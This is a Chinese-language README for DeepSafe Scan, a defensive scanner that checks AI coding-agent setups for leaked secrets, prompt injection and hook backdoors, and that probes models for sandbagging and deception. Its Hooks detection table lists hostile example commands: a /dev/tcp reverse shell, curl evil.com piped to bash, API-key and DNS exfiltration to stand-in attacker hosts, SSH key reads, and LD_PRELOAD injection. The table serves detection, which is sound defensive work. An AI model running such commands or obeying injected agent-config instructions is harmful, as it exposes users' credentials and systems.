DeepSafe Scan

AI Agent 环境通用安全预检扫描器

📖 完整文档与演示 → xiaoyiweio.github.io/deepsafe-scan

运行前先扫描。一条命令，保护你的 AI Agent 环境免受密钥泄露、提示词注入、Hooks 后门攻击。

想了解这些攻击是怎么运作的？→ AI Agent Attack Techniques

---

⚡ 攻击者只需 3 秒，就能从你的 AI Agent 环境中窃走 SSH Key、API Key 和全部敏感凭证。
_{↓ 真实攻击演示（3 倍加速） · 观看完整原速视频 →}

_{你 clone 的下一个仓库，可能已经在等你打开它了。}

---

支持平台：     OpenClaw       Claude Code       Cursor       Codex

---

它能做什么

DeepSafe Scan 在你执行 AI 生成代码或安装新 Skills 前，对 5 个维度进行安全预检：

模块	检测内容	需要 API？
posture	openclaw.json / .env — 不安全的网关配置、暴露的密钥	否
skill	已安装的 Skills 和 MCP 服务器 — 15+ 静态分析器（密钥、危险调用、eval、数据外传）	否（LLM 可选）
memory	会话与记忆文件 — 27 种密钥模式、9 种 PII 类型、提示词注入	否
hooks	.claude/settings.json、.cursorrules、.windsurfrules、.vscode/tasks.json、CLAUDE.md、AGENTS.md — 12 种注入模式	否
model	4 项行为安全探测：操纵诱导、能力隐藏、欺骗性回答、幻觉生成	是

4 个静态模块无需任何 API Key即可运行。LLM 功能自动检测已有凭证，无需手动配置。

---

⚠️ 为什么你需要这个

AI 编程 Agent（Claude Code、Cursor、Windsurf、Codex）的配置文件支持自动执行命令。攻击者可以在开源仓库中植入恶意配置：

攻击向量	触发时机	需要用户确认？
.claude/settings.local.json SessionStart hooks	Claude Code 启动	否，自动执行
.vscode/tasks.json runOn: folderOpen	Cursor/VSCode 打开目录	否，自动执行
.cursorrules / .windsurfrules / CLAUDE.md / AGENTS.md	Agent 读取并可能执行指令	部分情况下自动

---

快速开始

一行安装，一句话使用，从此 clone 不再裸奔。

方式一：作为 AI Agent Skill 安装（推荐）

clawhub install deepsafe-scan

安装后，直接用自然语言告诉你的 AI Agent：

"帮我用 deepsafe scan 扫一下这个项目"

Agent 自动扫描并返回报告，无需记任何命令。

Claude Code 用户 — 把 CLAUDE.md 复制到项目根目录即可集成：

cp ~/deepsafe-scan/CLAUDE.md /your/project/

方式二：作为独立命令行工具

git clone https://github.com/XiaoYiWeio/deepsafe-scan ~/deepsafe-scan

python3 ~/deepsafe-scan/scripts/scan.py \
  --modules hooks \
  --scan-dir /path/to/repo \
  --no-llm \
  --format markdown

---

零依赖

Python 核心仅使用标准库：urllib、json、re、hashlib、subprocess、concurrent.futures、argparse、dataclasses。

无需 pip install。

---

平台支持

平台	API 自动检测	Hooks 扫描	Skills 扫描	说明
OpenClaw	✅ 读取 ~/.openclaw/openclaw.json	✅	✅	完整原生支持
Claude Code	✅ ANTHROPIC_API_KEY	✅ .claude/settings.json	✅ 任意目录	检查 Claude Hooks 文件
Cursor	✅ OPENAI_API_KEY（如已配置）	✅ .cursorrules	✅ 任意目录	Model 探测需用户提供 Key
Codex	✅ OPENAI_API_KEY	✅ AGENTS.md	✅ 任意目录	无 Key 可完整静态扫描
Windsurf	✅ OPENAI_API_KEY（如已配置）	✅ .windsurfrules	✅ 任意目录	检查 Windsurf 配置文件
其他	--api-base / --api-key	✅	✅	兼容任何 OpenAI 格式 API

---

项目结构

deepsafe-scan/
├── scripts/
│   ├── scan.py              # 主入口（5 模块，HTML/markdown/JSON 输出）
│   ├── llm_client.py        # 多平台 LLM 客户端（零依赖，自动检测）
│   └── probes/
│       ├── persuasion_probe.py    # 操纵诱导评估
│       ├── sandbagging_probe.py   # 能力隐藏评估
│       ├── deception_probe.py     # 欺骗性回答基准
│       └── halueval_probe.py      # HaluEval 幻觉评估
├── data/
│   ├── prompts.json          # 探测提示词模板（外部化）
│   └── datasets/             # 探测评估数据集
├── SKILL.md                  # OpenClaw Skill 元数据
├── CLAUDE.md                 # Claude Code 集成说明
├── AGENTS.md                 # 通用 Agent 集成说明
└── .cursorrules              # Cursor IDE 集成

---

各模块详解

Posture 扫描

检查你的 AI Agent 部署配置：

• 不安全的网关认证（明文 HTTP、无鉴权、默认密码）
• 配置文件中暴露的 API Keys
• 权限过宽的安全设置
• 生产环境开启了调试模式

OpenClaw 用户读取 openclaw.json，其他平台检查 .env、config.json 等。

Skill / MCP 扫描

扫描所有已安装的 Skills 和 MCP 服务器目录，检测：

• 硬编码密钥（27 种模式 — API Keys、Token、密码）
• 远程代码执行模式（eval、exec、带用户输入的 subprocess）
• 数据外传（curl/wget/requests 发送到外部主机）
• 系统提示词中的提示词注入尝试
• 危险文件操作、Shell 注入、路径穿越

可选：LLM 语义分析可发现复杂的混淆模式。

Memory 扫描

扫描会话日志和 Agent 记忆文件：

• 27 种密钥模式：OpenAI Key、Anthropic Key、GitHub Token、AWS 凭证、Slack、Stripe、数据库 URL、SSH Key、JWT Secret
• 9 种 PII 类型：邮箱、电话（国际格式）、SSN、护照、信用卡（Luhn 校验）、医疗编码、驾照、银行账户、身份证
• 提示词注入：越狱片段、角色覆盖尝试、指令覆盖

Hooks 扫描

扫描 AI 编程助手配置文件中的命令注入后门：

模式	严重级别	示例
反弹 Shell	CRITICAL	bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
curl|sh RCE	CRITICAL	curl https://evil.com/x.sh | bash
凭证外传	CRITICAL	curl $ANTHROPIC_API_KEY@evil.com
SSH Key 读取	CRITICAL	cat ~/.ssh/id_rsa
Base64 执行	HIGH	echo <b64> | base64 -d | bash
持久化	HIGH	crontab -e、launchctl load
rm -rf	HIGH	rm -rf /tmp/*
进程注入	CRITICAL	LD_PRELOAD=evil.so
DNS 外传	HIGH	dig $SECRET.attacker.com
环境变量 Dump	HIGH	printenv > /tmp/env.txt
/tmp chmod +x	HIGH	chmod +x /tmp/backdoor
预授权执行	MEDIUM	preSessionCommand: ...

检查文件：.claude/settings.json、.claude/settings.local.json、.cursorrules、.cursor/rules.md、.windsurfrules、.windsurf/rules.md、.vscode/tasks.json、.vscode/settings.json、.github/copilot-instructions.md、CLAUDE.md、AGENTS.md。

Model 探测

4 项行为安全评估（调用 LLM API）：

探测项	测试内容
操纵诱导	模型是否能被操纵改变用户观点
能力隐藏	模型是否故意表现不佳以隐藏真实能力
欺骗性回答	被直接询问时模型是否给出虚假信息
幻觉生成	模型是否捏造无法验证的事实

每项探测运行一套小型评估，返回 0–100 安全评分。

---

完整 CLI 选项

python3 scripts/scan.py [选项]

核心选项：
  --modules           逗号分隔：posture,skill,memory,hooks,model
                      （默认：posture,skill,memory,model）
  --scan-dir PATH     额外扫描目录（默认：自动检测）
  --openclaw-root     OpenClaw 根目录（默认：~/.openclaw）

LLM 选项：
  --api-base URL      兼容 OpenAI 格式的 API 地址
  --api-key KEY       API Key（也读取 ANTHROPIC_API_KEY / OPENAI_API_KEY）
  --provider          auto | openai | anthropic（默认：auto）
  --model             模型名称覆盖
  --no-llm            禁用所有 LLM 功能（仅静态分析）

输出选项：
  --format            json | markdown | html（默认：json）
  --output FILE       将报告写入文件而非标准输出
  --profile           quick | standard | full（默认：quick）

缓存选项：
  --ttl-days N        缓存有效期（天，默认：7，0 = 不缓存）
  --no-cache          跳过缓存

调试：
  --debug             输出详细日志到 stderr

---

评分标准

总分	风险等级	建议操作
85–100	🟢 低风险	可以使用
65–84	🟡 中风险	检查标记项
40–64	🟠 高风险	修复后再用
1–39	🔴 严重风险	立即停止 — 存在严重安全问题

---

LLM 自动检测

凭证按以下优先级自动解析：

--api-base / --api-key 参数
  ↓（未设置）
OpenClaw 网关（~/.openclaw/openclaw.json）
  ↓（未找到）
ANTHROPIC_API_KEY 环境变量
  ↓（未设置）
OPENAI_API_KEY 环境变量
  ↓（未设置）
仅静态分析（Model 探测跳过并给出明确提示）

Cursor 用户：Cursor 通过订阅内部管理 LLM 鉴权，API Key 不暴露给子进程。如需启用 Model 探测，请在 Shell 中设置 OPENAI_API_KEY 或传入 --api-key。所有静态模块无需任何 Key。

---

相关项目

项目	定位
ai-agent-attack-techniques	攻击技术参考手册 — 记录 deepsafe-scan 所检测的攻击的具体原理和 PoC

---

参与贡献

欢迎提交 Issue 和 PR：github.com/XiaoYiWeio/deepsafe-scan

---

📖 在线文档 · 反馈问题 · OpenClaw 生态

DeepSafe Scan 是 OpenClaw 生态的一部分，同时也是可独立使用的安全工具，支持所有主流 AI 编程 Agent。